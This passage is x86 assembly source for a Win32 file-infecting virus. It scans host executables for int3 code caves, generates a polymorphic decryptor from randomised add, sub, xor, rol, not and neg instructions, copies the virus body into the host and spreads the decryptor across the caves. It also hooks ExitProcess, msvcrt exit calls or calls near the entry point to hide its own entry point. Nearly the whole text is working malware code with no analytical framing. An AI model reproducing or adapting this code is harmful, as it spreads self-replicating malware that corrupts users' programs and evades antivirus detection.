add	eax,-1					; if can't then return with 
ret						; carry

saveitthat:

mov	byte ptr [ebp+memory1],1
mov	dword ptr [ebp+memhandle1],eax		; save it for unload memory

mov	dword ptr [ebp+caveoffset],eax		; save it for datas storing

mov	edx,dword ptr [ebp+SectionOffset]	; look for .code or .text

mov	eax,dword ptr [edx+36]
and	eax,80000000h
cmp	eax,80000000h				; if code writable
je	disablecave				; then danger! -> compressors
						; viruses...
mov	eax,dword ptr [edx+20]
add	eax,esi					;1st section is most case code
						;section
mov	ebx,eax
add	ebx,dword ptr [edx+16]			; add the size

thenscanagain:

cmp	dword ptr [eax],0CCCCCCCCh
je	detectint3cave

;cmp	dword ptr [eax],090909090h		; this one could be activated
;je	detectnopcave				; but for security , I didn't

inc	eax
doomingo77:
cmp	eax,ebx
jb 	thenscanagain

ret

;detectzerocave:			deactivated

;push	ebx
;mov	bl,0
;jmp	deteccomhere

;detectnopcave:
;
;push	ebx
;mov	bl,090h
;jmp	deteccomhere

detectint3cave:			; scan the CCh cave

push	ebx

mov	bl,0CCh

deteccomhere:

push	ecx
push	edx
push	eax

thendoit:

xor	ecx,ecx

looping0:
cmp	byte ptr [eax],bl			; count number of CCh 
jne	unplusun				; there's (minimum 4)
inc	eax
inc	ecx
jmp 	looping0

unplusun:

mov	edx,eax
pop	eax

push	edx
cmp	byte ptr [eax-1],0C3h			; look if there's ret
je	thendoit00

cmp	byte ptr [eax-3],0C2h			; or retf2 before
jne	nocave

thendoit00:

pop	edx
push	edx
sub	edx,eax

cmp	byte ptr [ebp+cavenumber],0FFh		; check if we found max
je	overfound				; imagine on 4 megs programs...

inc	byte ptr [ebp+cavenumber]		; increment it

mov	ecx,dword ptr [ebp+caveoffset]		; 

mov	dword ptr [ecx],edx
mov	dword ptr [ecx+4],eax
call	Offset2Address
mov	dword ptr [ecx+4+4],eax

add	ecx,12
mov	dword ptr [ebp+caveoffset],ecx		; save offset

mov 	eax,edx

overfound:

nocave:

pop	eax					; restore it
pop	edx
pop	ecx
pop	ebx
jmp	doomingo77

disablecave:

mov	byte ptr [ebp+cavedanger],1		; 
ret

; variables

cavenumber:	db	0
cavedanger:	db	0
caveoffset:	dd	0

CreateProPoly:

mov	word ptr [ebp+Registers],-1

mov	eax,handlesize2
call	Alloc					; alloc memory
cmp	eax,0

jne	thenthatat

inc	eax
inc	eax
add	eax,-1
ret

thenthatat:

mov	byte ptr [ebp+memory2],1
mov	dword ptr [ebp+memhandle2],eax		; save it

mov	dword ptr [ebp+PolyTable],eax
add	eax,40
mov	dword ptr [ebp+PolyTablePoint],eax	; set everything

lea	ebx,[eax+256]
mov	dword ptr [ebp+PolyOffset],ebx

push 	esi
push	edi
mov	edi,ebx

lea	esi,[ebp+start]
mov	ecx,((((fin-start)/4)+1)*4)

repz	movsb					; copy virus to memory

pop	edi
pop	esi

lea	ebx,[eax+256+((((Fin-Start)/4)+1)*4)]
mov	dword ptr [ebp+PolyPointer],ebx

mov	edx,dword ptr [ebp+PEBase]
mov	ecx,dword ptr [edx+8]			; get time/date stamp
push	ecx

and	ecx,01111b				; as variable value
add	ecx,5
pop	eax
push	ecx				

ror 	eax,8
push	eax
and	eax,111b
call	getvalidregister			; get register
mov	byte ptr [ebp+ActionRegister],al

pop	eax
ror	eax,4
and	eax,111b
call	getvalidregister			; get second register
mov	byte ptr [ebp+LoopValue],al

pop	ecx

latinlingo:

call	AddInstruction0				; make crypt instructions

loop	latinlingo	

push	esi
push	edi

mov	edi,dword ptr [ebp+PolyTablePoint] 
mov 	esi,dword ptr [ebp+PolyTable]
add	esi,40

sub	edi,8

thendontfool:					; reversive functions

mov	eax,dword ptr [esi]
mov	ebx,dword ptr [esi+4]

mov	ecx,dword ptr [edi]			; equal size/offset
mov	edx,dword ptr [edi+4]

mov	dword ptr [esi],ecx
mov	dword ptr [esi+4],edx

mov	dword ptr [edi],eax
mov	dword ptr [edi+4],ebx

sub	edi,8
add	esi,8

cmp	esi,edi
jb	thendontfool					; invert the decryptor

pop	edi
pop	esi

mov	edx,dword ptr [ebp+PolyTable]
mov	ecx,dword ptr [ebp+PolyPointer]
mov	ebx,ecx

mov	dword ptr [ecx],60h				; add pushad to decryp
inc	ecx
call	ActualisePointer

mov	byte ptr [ecx],0B8h				; add mov ...,polyoff
mov	al,byte ptr [ebp+LoopValue]			; to decrypt
add	byte ptr [ecx],al

mov	eax,dword ptr [ebp+DropAddress]
add	eax,dword ptr [ebp+ImageBase]

mov	dword ptr [ecx+1],eax
add	ecx,5

call	ActualisePointer

mov	ax,008Bh					; add mov ..,[...]
mov	ah,byte ptr [ebp+ActionRegister]		; to decrypt
shl	ah,3
add	ah,byte ptr [ebp+LoopValue]
mov 	word ptr [ecx],ax
add	ecx,2

call	ActualisePointer

push	ecx

mov	ecx,dword ptr [ebp+PolyTable]			; drop
add	ecx,40						; decrypt math
							; functions
ambiancee:
mov	eax,dword ptr [ecx]
mov	ebx,dword ptr [ecx+4]

cmp	eax,0
je	thenfinish88

mov	dword ptr [edx],eax				; now do the loop
mov	dword ptr [edx+4],ebx

add	ecx,8
add	edx,8
jmp	ambiancee					; ambiancee...

thenfinish88:

pop	ecx

; - - - - -

mov	ax,0089h					; mov [...],...
mov	ah,byte ptr [ebp+ActionRegister]
shl	ah,3
add	ah,byte ptr [ebp+LoopValue]			; are you really
mov 	word ptr [ecx],ax				; reading that ?
add	ecx,2

call	ActualisePointer

mov	ax,0C083h					; add ...,...
add	ah,byte ptr [ebp+LoopValue]
mov 	word ptr [ecx],ax
add	ecx,2
mov 	byte ptr [ecx],04
inc 	ecx

call	ActualisePointer				; add cmp,...
							; 
mov	ax,0f881h					; 
add	ah,byte ptr [ebp+LoopValue]
mov 	word ptr [ecx],ax

mov	eax,dword ptr [ebp+DropAddress]
add	eax,dword ptr [ebp+ImageBase]
add	eax,((((fin-start)/4)+1)*4)
mov	dword ptr [ecx+2],eax
add	ecx,6

call	ActualisePointer

mov	word ptr [ecx],0850Fh				; add jnz ...
add	ecx,6						; with relocs

call	ActualisePointer

mov	byte ptr [ecx],61h

mov	byte ptr [ecx+1],068h
mov	eax,dword ptr [ebp+DropAddress]			; now drop
add	eax,dword ptr [ebp+ImageBase]			; return to virus
mov	dword ptr [ecx+2],eax

mov	byte ptr [ecx+6],0C3h
add	ecx,7

call	ActualisePointer

push	esi
push	edi

xor	ebx,ebx

mov 	edx,dword ptr [ebp+PolyTable]			; now drop the
mov 	edi,dword ptr [ebp+DropOffset]			; virus into host body
add	edi,esi

mov	esi,dword ptr [ebp+PolyOffset]
mov	ecx,((((fin-start)/4)+1)*4)
repz	movsb

push	esi
mov	esi,dword ptr [ebp+MapHandle2]
mov	eax,edi
call	Offset2Address
mov	dword ptr [ebp+NEWEntryPoint],eax
mov	dword ptr [ebp+FirstEntryPoint],eax
pop	esi						; set poly entrypoint

mov	dword ptr [ebp+lastreloc],0
call	droptocaves					; 1st drop to cave

thegothere:

cmp	bl,byte ptr [ebp+WantedReloc]			; now we can drop
jne	thennoreloc				
mov	dword ptr [ebp+Reloc1],edi

thennoreloc:

mov 	esi,dword ptr [edx]				; the poly after
cmp	esi,0
je 	thenitsfinish

cmp	word ptr [esi],850Fh				; look for jnz
je	ApplyReloc					; if so reloc it

relocdoitnow:

mov	ecx,dword ptr [edx+04]
repz 	movsb
add	edx,8						; drop it after virus
inc	ebx
jmp	thegothere

thenitsfinish:

pop	edi
pop	esi

ret

droptocaves:

cmp	byte ptr [ebp+cavedanger],1			; look if .code
je	thennocave					; writable

cmp	byte ptr [ebp+cavenumber],0			; look if there no cave
je	thennocave					; if ONE then 
							; it's okay, coz we
mov	dword ptr [ebp+originalreloc],edi		; can hide our
push	edi						; poly entrypoint
xor	ebx,ebx

detectcave0:

mov	esi,dword ptr [edx]
cmp	esi,0
je 	thenfinish

mov	ecx,dword ptr [edx+4]				; get cave and check

call	detectcave					; size
jc 	thenfinish

mov	eax,dword ptr [ebp+FirstEntryPoint]
cmp	dword ptr [ebp+NEWEntryPoint],eax		; if 1st cave then set
jne	thendontchangeentrypoint			; entrypoint

push	esi

mov	eax,edi
mov	esi,dword ptr [ebp+MapHandle2]			; get cave and fix
call	Offset2Address					; to memory offset
mov	dword ptr [ebp+NEWEntryPoint],eax

pop	esi

thendontchangeentrypoint:

cmp	bl,byte ptr [ebp+WantedReloc]
jne	thennorelocbis
mov	dword ptr [ebp+Reloc1],edi

thennorelocbis:

cmp	word ptr [esi],850Fh				; check for jnz
je	ApplyRelocBis					; then apply large
							; relocs over caves
relocdoitnowbis:

repz movsb

mov	byte ptr [edi],0E9h				; apply calls...

add	edx,8
inc	ebx
jmp	detectcave0

thenfinish:

pop	edi

thennocave:

ret

detectcave:

push	edx ecx ebx

mov	ebx,dword ptr [ebp+caveoffset]			; get caves
xor	eax,eax
mov	al,byte ptr [ebp+cavenumber]

push	edx
push	ecx
push	eax
mov	ecx,12
mul	ecx
pop	ecx
sub	ebx,eax						; calculations

sub	ebx,12
pop	edx
add	edx,5

thengetnextcave:

add	ebx,12
mov 	eax,dword ptr [ebx]

cmp	eax,edx
jae	thenwefoundone

loop 	thengetnextcave				; 

pop	edx
cmp	dword ptr [ebp+lastreloc],0
je	thenitsfinishfordebon			; if reloc off then finish

push	ebx

mov	eax,dword ptr [ebp+DropAddress]
add	eax,((((fin-start)/4)+1)*4)
sub	eax,dword ptr [ebp+lastreloc]		; set last reloc for further
sub	eax,4					; jnz

mov	ebx,dword ptr [ebp+lastrelocOffset]
mov	dword ptr [ebx],eax

pop	ebx

thenitsfinishfordebon:

inc 	eax
inc	eax

sub 	eax,-1

pop	ebx ecx	edx

ret				; return to carry to main drop cave functions
				; then finish cave droping
originalreloc:	dd	0

thenwefoundone:

pop	edx

mov	dword ptr [ebx],0				; if found one

cmp	dword ptr [ebp+lastreloc],0			; if 1st instruction?
je	thendontneedfixup

mov	eax,dword ptr [ebx+4+4]
sub	eax,dword ptr [ebp+lastreloc]			; set jump to here
sub	eax,4						; from last instruction

push	ebx

mov	ebx,dword ptr [ebp+lastrelocOffset]
mov	dword ptr [ebx],eax

pop	ebx

thendontneedfixup:					; no fixup need

mov 	ecx,dword ptr [edx+4]
add	ecx,dword ptr [ebx+4]
inc 	ecx
mov 	dword ptr [ebp+lastrelocOffset],ecx		; save this offset
sub	ecx,dword ptr [ebx+4]
add	ecx,dword ptr [ebx+8]				; for next fixup
mov 	dword ptr [ebp+lastreloc],ecx

mov 	edi,dword ptr [ebx+4]
xor	ebx,ebx
pop	ebx ecx	edx

ret

lastreloc:		dd	0
lastrelocOffset:	dd	0

NEWEntryPoint:	dd	0

Reloc1:	dd	0
WantedReloc:	db	2

ApplyReloc:
call	ApplyReloc0				; this for jnz
jmp	relocdoitnow

ApplyRelocBis:
call	ApplyReloc0				; this for jnz in cave
jmp	relocdoitnowbis

ApplyReloc0:

push	eax edi
push	esi
mov	esi,dword ptr [ebp+MapHandle2]		; recalculate offsets
						; 
mov	eax,dword ptr [ebp+Reloc1]
call	Offset2Address	
push	eax				; eax is save

mov	eax,edi
call	Offset2Address
mov	edi,eax

pop	eax
sub	eax,edi
sub	eax,6					; build delta for jumps
pop	esi
mov	dword ptr [esi+2],eax			; set it where we need it

pop	edi eax 
ret

ActualisePointer:

push	ebx
push	ecx

mov	ebx,dword ptr [ebp+PolyPointer]			;set pointer of
mov	dword ptr [edx],ebx				;of current instruction
sub	ecx,ebx
add	dword ptr [ebp+PolyPointer],ecx			; that can be different

mov	dword ptr [edx+4],ecx				; of instruction order
add	edx,8

pop	ecx
pop	ebx

ret

AddInstruction0:

push	edx
push	ecx

mov	edx,dword ptr [ebp+PEBase]
mov	edx,dword ptr [edx+8]

mov	ebx,-1
firstloop:

mov	bl,dh						; get randoms value
rol	ebx,4

xor	edx,'RATS'
sub	edx,'OREZ'					; using pseudo table
cmp	edx,00FFFFFFh					; ;] vecna
ja	thendontnoise
ror	edx,16
add	edx,24051981
thendontnoise:
dec	edx
xor	ebx,edx
loop	firstloop

mov	edx,ebx						; edx = random value
not	edx						; for sub xor ror add
mov	dword ptr [ebp+UnknownVal],edx

and	edx,111b					; seting random from
mov	eax,edx						; 1/8
mov	ecx,4
mul	ecx
add	eax,dword ptr [ebp+TableOffset]
add	eax,ebp

push	esi
push	edi

mov	eax,dword ptr [eax]
add	eax,ebp

mov	ebx,dword ptr [ebp+PolyTablePoint]		; get what instruction
mov	esi,dword ptr [ebp+PolyPointer]

mov	dword ptr [ebx],esi				; to do
push	esi
push	ebx

call	eax						; call it from the
							; tale
pop	ebx
mov	eax,esi
pop	ecx
sub 	eax,ecx

mov	dword ptr [ebx+4],eax
add	ebx,8
mov	dword ptr [ebp+PolyTablePoint],ebx		; psuedo actualisation
mov	dword ptr [ebp+PolyPointer],esi			; of pointers

pop	edi
pop	esi

pop	ecx
pop	edx

ret

getvalidregister:

cmp 	al,111b
jna	thentestnext				; test if > edi
mov	al,0

thentestnext:
cmp	al,100b
jne	thentestnext2				; test if esp
inc	al
jmp	getvalidregister

thentestnext2:
cmp 	al,byte ptr [ebp+ActionRegister]
jne	thentestnext3
inc	al
jmp	getvalidregister			; test if action register

thentestnext3:
cmp 	al,byte ptr [ebp+LoopValue]		; test if loop register
jne	thentestnext4
inc	al
jmp	getvalidregister

thentestnext4:
cmp	byte ptr [ebp+ActionRegister],-1
je	thenfinishtest

cmp	al,101b					; cmp if loop register = ebp
jne 	thenfinishtest				; don't do so coz crashing

inc	al
jmp	getvalidregister

thenfinishtest:
ret

TableOffset:

dd	Offset Table0

Table0:	dd	Offset AddInstruction
	dd	Offset SubInstruction
	dd	Offset XorInstruction
	dd	Offset INCInstruction
	dd	Offset DECInstruction
	dd	Offset NEGInstruction
	dd	Offset NOTInstruction
	dd	Offset ROLInstruction

ROLInstruction:

mov	ax,0C1C8h
add 	al,byte ptr [ebp+ActionRegister]
mov	edx,dword ptr [ebp+UnknownVal]
xor	edx,'FLOR'				; make ROL
xchg	al,ah
mov	word ptr [esi],ax
and	dh,00111111b
inc	dh
mov	byte ptr [esi+2],dh
add	esi,3

lea	eax,[ebp+Roritloop]
call	applycript

ret

Roritloop:	push	ecx
		mov	cl,dh
		rol 	dword ptr [edi],cl
		pop	ecx
		ret

NOTInstruction:

mov 	ax,0F7D0h
call	dothat79
lea	eax,[ebp+NOTitloop]			; make not instruction
call	applycript
ret

NOTitloop:	not	dword ptr [edi]
		ret

NEGInstruction:

mov 	ax,0F7D8h
call	dothat79
lea	eax,[ebp+NEGitloop]		; add negs
call	applycript
ret

dothat79:
add 	al,byte ptr [ebp+ActionRegister]
xchg	al,ah
mov 	word ptr [esi],ax
inc 	esi					;add not/neg
inc 	esi

ret

NEGitloop:	neg	dword ptr [edi]
		ret

DECInstruction:				; apply dec/inc
	
lea	ebx,dword ptr [ebp+Decitloop]	
mov 	al,48h
call	dothat78

ret

Decitloop:	inc 	dword ptr [edi]
		ret

INCInstruction:

mov 	al,40h
lea	ebx,[ebp+Incitloop]

dothat78:					; common for dec/inc
add 	al,byte ptr [ebp+ActionRegister]
mov 	byte ptr [esi],al
inc 	esi

mov	eax,ebx
call	applycript

ret

Incitloop:	dec 	dword ptr [edi]
		ret

XorInstruction:					; common for xor/add/sub

mov	ax,081F0h
lea	ebx,[ebp+Xoritloop]
jmp	dothat77

Xoritloop:	xor	dword ptr [edi],edx	; reverse of xor
		ret

SubInstruction:

mov	ax,081E8h
lea	ebx,[ebp+Subitloop]
jmp	dothat77

Subitloop:	add	dword ptr [edi],edx		; reverse of sub
		ret

AddInstruction:

mov	ax,081C0h
lea	ebx,[ebp+Additloop]

dothat77:
add	al,byte ptr [ebp+ActionRegister]

mov	edx,dword ptr [ebp+UnknownVal]
xor	edx,'AXLB'				; a kiss to Axelle Bailey
xchg	al,ah
mov	word ptr [esi],ax
mov	dword ptr [esi+2],edx

add	esi,6

mov	eax,ebx
call	applycript				; rverse of add
ret

Additloop:	

sub	dword ptr [edi],edx

ret

applycript:

push	ecx				; apply eax to all the virus
push	edi
push	esi

mov	edi,dword ptr [ebp+PolyOffset]
mov	ecx,((((fin-start)/4)+1)*4)

thentooti:


call	eax
sub	ecx,4
add	edi,4

cmp	ecx,0
jne	thentooti

pop	esi
pop	edi
pop	ecx

ret

; variables

FirstEntryPoint:	dd	0

Registers:

ActionRegister:	db	0
LoopValue:	db	0

UnknownVal:	dd	0

PolyOffset:	dd	0
PolyPointer:	dd	0

PolyTable:	dd	0
PolyTablePoint:	dd	0

; 1st look for ExitProcess -> The classic way to quit a program
; 2 look for MSCVRT -> The win98 way to quit a program
; 3 look for obscure entrypoint

thahook:

mov	dword ptr [ebp+comethatname],'NREK'
mov	dword ptr [ebp+comeApi1],'tixE'
mov	dword ptr [ebp+comeApi2],'corP'
mov	dword ptr [ebp+comeReturnWay],offset ExitProcRet
mov 	dword ptr [ebp+comeReturnAPI],offset ExitProcRetData

call	hookapis				; Hook apis
jnc	thenwehadit

mov	dword ptr [ebp+comethatname],'CVSM'
mov	dword ptr [ebp+comeApi1],'tixe'
mov	dword ptr [ebp+comeApi2],0
mov	dword ptr [ebp+comeReturnWay],offset ExitProcRet
mov 	dword ptr [ebp+comeReturnAPI],offset ExitProcRetData

call	hookapis				; Hook apis
jnc	thenwehadit

obscureentry:				; if no api hooked then:

mov     edx,dword ptr [ebp+PEBase]
mov     eax,dword ptr [edx+40]
call    Address2Offset
mov	edx,eax

mov	ecx,500				; hook call near entrypoint

findthoseit:
cmp	byte ptr [edx],0E8h		; call opcode
je	hookentry

cmp	byte ptr [edx],0E9h		; jump opcade
je	hookentry

looknext:
inc	edx
loop 	findthoseit			; look for it

jmp	thenofound

thenwehadit:
xor	eax,eax
ret

hookentry:

cmp	byte ptr [edx+4],0
jne	looknext

mov	al,byte ptr [edx-1]		;check for have sub functions , appears
and	al,11000000b			;sometime (ie:tasm\bin\jitime.exe)
cmp 	al,10000000b
je 	looknext

mov	eax,edx
call	Offset2Address			; convert where we found it

add	eax,dword ptr [edx+01]
add	eax,5

add	eax,dword ptr [ebp+ImageBase]	; then save it over there
mov	dword ptr [ebp+ReturnData],eax
mov	dword ptr [ebp+ReturnWay],offset retione

inc	edx
mov	dword ptr [ebp+Fixupentry],edx 		; set where the entrypoint
						; will have to get fixed up
xor	eax,eax
ret

ExitProcRet:					; return procedure
						
mov	eax,dword ptr [ebp+ReturnData]
mov	eax,dword ptr [eax]
mov	dword ptr [ebp+ReturnData],eax		; refix all

retione:

popad						; refix regs

db	68h

ExitProcRetData:

ReturnData:
dd	Offset payload0
ret						; fake jump...

hookapis:

mov     edx,dword ptr [ebp+PEBase]
mov     eax,dword ptr [edx+128]			; look for import address
call    Address2Offset				; get offset

mov     ecx,eax
sub     ecx,20

thenaddnext:

add     ecx,20
cmp     dword ptr [ecx],0
je      thenfinishscan				; look for the correct name

mov     eax,dword ptr [ecx+12]
call    Address2Offset
push	ebx
mov	ebx,dword ptr [ebp+comethatname]
cmp     dword ptr [eax],ebx			; does we have it ?
pop	ebx
jne     thenaddnext

mov     eax,dword ptr [ecx]			;then get the rva of the import
call    Address2Offset				; name lookup
mov     ebx,eax
sub     ebx,4
xor     edx,edx
dec	edx

datact:
inc     edx
add     ebx,4
mov     eax,dword ptr [ebx]			;check if we have last one
cmp     eax,0
je      thenfinishscan

call    Address2Offset				; get it

cmp	eax,esi
jb	thenfinishscan				; for fixing an unknown bug...

push	ebx
mov	ebx,dword ptr [ebp+comeApi1]		; look if name is correct
cmp	ebx,0
je	passbythat
cmp     dword ptr [eax+2],ebx
pop	ebx
jne     datact

push	ebx
mov	ebx,dword ptr [ebp+comeApi2]		; look if name after is correct
cmp	ebx,0
jne	passbythat
cmp	byte ptr [eax+6],0			; if the name = 0 then
jmp	passbythat0				; don't scan ofcourse
passbythat:
cmp     dword ptr [eax+6],ebx
passbythat0:
pop	ebx
jne     datact

thatoskay:

mov     eax,edx
mov     edx,04
mul     edx

add     eax,dword ptr [ecx+16]			; now we get the api loc

detectandhookexitpoint:

mov 	byte ptr [ebp+numberoffound],0		; just for internal purpose
						; but not used anyway
mov	edx,dword ptr [ebp+PEBase]
add	eax,dword ptr [edx+52]

mov 	edx,dword ptr [ebp+SectionOffset]	; get the 1st section
mov	ecx,dword ptr [edx+16]
mov 	edx,dword ptr [edx+20]
add	edx,esi

findthem:
cmp 	word ptr [edx],015FFh			; look for call dword [x]
je	testcalltoit
cmp	word ptr [edx],025ffh			; look for jump dword [x]
je	testfindjmptoit

findthemreturn:

inc 	edx
loop	findthem				; if nothing

cmp 	byte ptr [ebp+numberoffound],0		; if zero found then don't
je	thenofound				; return with carry
findthemfinish:
xor	eax,eax
ret

thenfinishscan:
thenofound:	
inc	eax
inc	eax
add	eax,-1
ret

numberoffound:	db	0

testcalltoit:					;

cmp 	dword ptr [edx+2],eax			; save where it call
jne 	findthemreturn

push	edx
mov	edx,dword ptr [ebp+comeReturnAPI]	; save API location
add	edx,ebp					; for return to host
mov	dword ptr [edx],eax
pop	edx

mov	eax,dword ptr [ebp+comeReturnWay]	; save [x] location to return
mov	dword ptr [ebp+ReturnWay],eax		; over there

thendontsaveAPIOffset:

push	edi 
push	edx 
inc	edx
mov 	edi,edx
mov	dword ptr [ebp+Fixupentry],edi		; fixing virus entrypoint
mov 	byte ptr [edi-1],0E9h
pop	edx 
pop	edi

inc 	byte ptr [ebp+numberoffound]

jmp 	findthemfinish				; we finished okay carry...

testfindjmptoit:

cmp 	dword ptr [edx+2],eax
jne 	findthemreturn

push	edx
mov	edx,dword ptr [ebp+comeReturnAPI]	; we will look for call
add	edx,ebp
mov	dword ptr [edx],eax			; to that jump
mov	eax,dword ptr [ebp+comeReturnWay]
mov	dword ptr [ebp+ReturnWay],eax
pop	edx

mov	eax,edx
call	Offset2Address
mov	dword ptr [ebp+APItarget],eax

mov 	edx,dword ptr [ebp+SectionOffset]
mov	ecx,dword ptr [edx+16]
mov 	edx,dword ptr [edx+20]			; redo the scannning
add	edx,esi

thenloopvone:
cmp	byte ptr [edx],0E8h
jne	thenloopskill

mov	eax,edx
call	Offset2Address
add	eax,dword ptr [edx+1]
add	eax,5					;

cmp	eax,dword ptr [ebp+APItarget]		; if APItagert = where it point
je	patchit

thenloopskill:					; then we found the good call
inc	edx
loop	thenloopvone
jmp	thenfinishscan				; finish scanning...

patchit:

push	edi 
push	edx 
inc	edx
mov 	edi,edx
mov	dword ptr [ebp+Fixupentry],edi		; fix this call as the
mov 	byte ptr [edi-1],0E9h			; virusentrypoint
pop	edx 
pop	edi

inc	byte ptr [ebp+numberoffound]

jmp	findthemfinish				; return with carry

APItarget:	dd	0
Fixupentry:	dd	0

ReturnWay:	dd	Offset retione
comethatname:	dd	0
comeApi1:	dd	0
comeApi2:	dd	0
comeReturnWay:	dd	0
comeReturnAPI:	db	0

MapHandle1:     dd      0
MapHandle2:     dd      0

FindFirstFileF:						; prebuilded FindFirst

lea 	eax,[ebp+File_Data]
push	eax
push	edx

call	dword ptr [ebp+FindFirstFile]
mov 	dword ptr [ebp+Handle],eax
ret

FindNextFileF:					; Prebuilded FindNExt

lea 	eax,[ebp+File_Data]
push	eax
push 	dword ptr [ebp+Handle]

Call	dword ptr [ebp+FindNextFile]

ret

Open_file:					; Prebuilded Openfile
push	edx

lea  	eax,[ebp+(offset File_Data+02ch)]
call	Open_File_F
pop	edx
ret

Open_File_F:					; and open file F
push large 0
push large 080h
push large 3
push large 0
push large 1
push 80000000h or 40000000h
push eax

Call dword ptr [ebp+CreateFile]

mov dword ptr [ebp+CurrentHandle],eax
inc eax
ret

Close_file:					; close file
push dword ptr [ebp+CurrentHandle]
call dword ptr [ebp+Close]
ret

Write_file:					; write file
mov eax,offset Write
jmp Action_file

Read_file:

mov eax,offset Read				; read file

Action_file:

push 0
lea ebx,[ebp+Iobytes]
push ebx
push ecx
push edx
push dword ptr [ebp+CurrentHandle]
Call dword ptr [ebp+eax]			; look apis references
ret

Seek_file:					; seek over it
push large 0
push large 0
push edx
push dword ptr [ebp+CurrentHandle]
Call dword ptr [ebp+SeekFile]
ret

startlist:					; needed apis
						; quite a lot eh :)
FindFirstFile:	
		dd 0	
FindNextFile:	
		dd 0
CreateFile:	
		dd 0
Close:		
		dd 0
Write:
		dd 0
Read:
		dd 0
SeekFile:
		dd 0
SetFileTime:	
		dd 0
GetFileSize:
		dd 0
CreateFileMap:
		dd 0
ViewMap:	
		dd 0
UnMap:
		dd 0
LocalAlloc:
		dd 0
GlobalFree:	
		dd 0
LoadLibraryA:	
		dd 0
FindClose:	
		dd 0
FreeLibrary:
		dd 0
GetSystemTime:
		dd 0
CreateThread:
		dd 0
GetWindowsDirectoryA:
		dd 0
GetCurrentDirectoryA:
		dd 0
SetCurrentDirectoryA:
		dd 0
GetModuleHandle:
		dd 0
ExitProc:	
		dd 0
advapilist:
RegOpenKeyA:
		dd 0
RegQueryValueExA:	
		dd 0
RegCloseKey:
		dd 0
userapilist:
MessageBoxA:	dd 0

pseudofin:

Handle:		dd	0
CurrentHandle:	dd	0
Iobytes:	dd	0

File_Data:	db	2ch+13+5 dup (?)	; just for prebuilded

;ReadyForHost:	db 	0F8h dup (?)
;TableHost:	db	4096/2 dup (?)

Fin:
fin:
ends
end HOST


        
